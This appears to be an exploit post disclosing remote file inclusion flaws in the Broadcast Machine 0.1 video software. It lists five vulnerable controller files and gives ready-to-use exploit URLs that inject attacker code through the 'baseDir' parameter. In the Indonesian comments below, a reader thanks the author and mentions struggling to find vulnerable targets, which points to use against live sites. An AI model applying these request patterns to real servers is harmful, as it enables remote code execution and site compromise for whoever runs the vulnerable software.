LFI to RCE via access_log injection

Broadcast Machine 0.1 - Multiple RFI


[o]
Broadcast Machine 0.1 Multiple Remote File Inclusion Vulnerability
Software : Broadcast Machine version 0.1
Vendor : http://code.google.com/p/broadcastmachine/
View Source : https://svn.participatoryculture.org/svn/dtv/trunk/bmachine2/

Author : NoGe


[o] Vulnerable file
all file below is affected by "baseDir" parameter
controllers/MySQLController.php
controllers/SQLController.php
controllers/SetupController.php
controllers/VideoController.php
controllers/ViewController.php


[o] Exploit
http://localhost/[path]/controllers/MySQLController.php?baseDir=[evilcode]
http://localhost/[path]/controllers/SQLController.php?baseDir=[evilcode]
http://localhost/[path]/controllers/SetupController.php?baseDir=[evilcode]
http://localhost/[path]/controllers/VideoController.php?baseDir=[evilcode]
http://localhost/[path]/controllers/ViewController.php?baseDir=[evilcode]


Comments

Don Tukulesto said…
yang ini gw nyari targetnya setengah mampus nih.. ga kena².. xixiix..

thanks om noge..

gw penggemar berat lo..
evilc0de said…
penggemar berad? lolz :p
Don Tukulesto said…
hus.. ktawa,,,

lol...


dah ah.. gw tunggu terus update dari lo.. sambil belajar juga cari bugs sendiri,,

see ya...